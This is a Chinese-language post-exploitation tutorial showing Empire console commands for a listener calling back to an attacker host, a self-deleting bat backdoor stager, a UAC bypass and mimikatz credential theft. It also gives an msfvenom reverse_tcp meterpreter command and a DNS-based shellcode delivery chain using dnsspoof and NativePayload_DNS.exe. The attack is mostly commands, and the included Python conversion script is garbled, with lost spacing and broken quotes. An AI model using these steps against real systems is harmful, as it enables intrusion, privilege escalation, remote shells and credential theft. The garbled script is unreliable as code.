Empire一款基于PowerShell的后渗透测试工具。感谢某葵和某Egg的推荐和指点。感谢某骗子给我解惑DNS的一些东西。
开始下载安装运行依赖文件
最后设置数据库密码那里可以默认回车,也可以自己设置
踩坑经历:
如果安装途中,遇到网络问题,多次执行./install.sh文件安装全部依赖,运行主目录下empire启动程序前,先执行setup目录下的reset.sh后再执行主目录empire文件。
(Empire: listeners) > uselistener http #选择监听方式
(Empire: listeners/http) > info #查看需要配置的选项
(Empire: listeners/http) > set Name backdoor #设置监听名字
养成良好的习惯设置自己容易理解的名字,方便管理shell
(Empire: listeners/http) > set Host http://192.168.80.131:4447 #设置木马反弹回连地址
(Empire: listeners/http) > set Port 4447 #设置本地监听端口
(Empire: listeners/http) > execute #执行监听
至此,监听工作完成。我们开始配置生成后门。
这里我选择的是bat类型的脚本,当然你们可以选择其他的。后面的backdoor就是刚刚我们设置的监听,这个模块就是依据监听的配置信息,生成相应的木马,让反弹马找到连接主机。
(Empire: stager/windows/launcher_bat) > info #查看需要配置的
你可以set OutFile 到你指定的目录(绝对路径)
(Empire: stager/windows/launcher_bat) > execute #执行生成木马
我们把tmp目录下的文件拷贝到我们的目标主机上运行
弹出一个黑框后,它自动消失了,是因为我们刚才生成backdoor的时候其中一个选项delete设置的True,运行结束后删除自身。
点击完我们的backdoor之后,我们回到我们的机器可以看到已经获取到了客户端的一个会话。
(Empire: stager/windows/launcher_bat) > agents #查看获取的代理会话
一个会话已经建立完成。
(Empire: agents) > rename HZFT7AX1 win7pro #更改会话名字
养成一个良好的习惯。
(Empire: agents) > interact win7pro #和该会话交互
从session_key这里可以看出我们的会话是经过加密的。
同时该框架还提供了bypassuac,mimikaz等模块,为渗透提供高效,快速的提升权限,信息获取。
正好结合这个说一个dns传输backdoor payload的方式
生成NativePayload_DNS.exe 。
上传到我们攻击的机器上去,进入到交互界面。
首先我们先试试利用bypassuac这个功能,看看是否可以提升权限获取该机器管理员的密码,直接运行mimikatz是会报错的。
运行后我们看到有第二个会话开始建立中,稍等片刻
(Empire: win7pro) > agents #列举代理会话
细心的人可能发现多了一个*号那个usename那里
(Empire: agents) > rename 8TKB4G9S win7proprivilege #这里我说了三遍,很重要。
(Empire: agents) > interact win7proprivilege #和这个会话交互
(Empire: win7proprivilege) > mimikatz #使用mimikatz
(Empire: win7proprivilege) > upload /root/Desktop/NativePayload_DNS.exe #上传
(Empire: win7proprivilege) > shell dir #查看是否上传成功.
开始配置服务端
msfvenom--platformwindows--archx64-pwindows/x64/meterpreter/reverse_tcplhost=192.168.80.131lport=4444-fc>/root/Desktop/payload.txt
#生成shellcode
这里申明下,网上的命令可能因为文章格式问题,导致命令不对,这里我做了修正。写了一个转换脚本,代码如下(一把梭,勿喷):
#!/usr/bin/Python2#!-*-coding:utf-8-*-a=''f=open("payload.txt","rb")line=f.readlines()[1:]f.close()forlinesinrange(len(line)):ipls='1.1.1.%s'%linesshellcode=line[lines].replace(";","").strip().rstrip(""")+".1.com"+"""text=ipls+""+"""+"0x"+shellcode.lstrip(""")a+=text.replace("","0")+"n"fn=open("dns.txt","wb")fn.write(a)fn.close()
这里网上给出的样例也有问题,看了好久发现传输的payload缺少了一个"0x",于是在dns.txt做了修改。一直被老哥教育细心,耐心,这回总算用成了一回。
开启msf监听,这里就不再赘述了。
开启欺骗
root@localhost# dnsspoof -f dns.txt
服务端配置完成,现在回到我们的empire会话执行命令,获取meterpreter shell.
(Empire: win7proprivilege) > shell NativePayload_DNS.exe 1.1.1. 34 192.168.80.131 #执行
这个比较慢,需要稍等会,等它传输完,就会返回shell。
一张图证明empire绕过了UAC: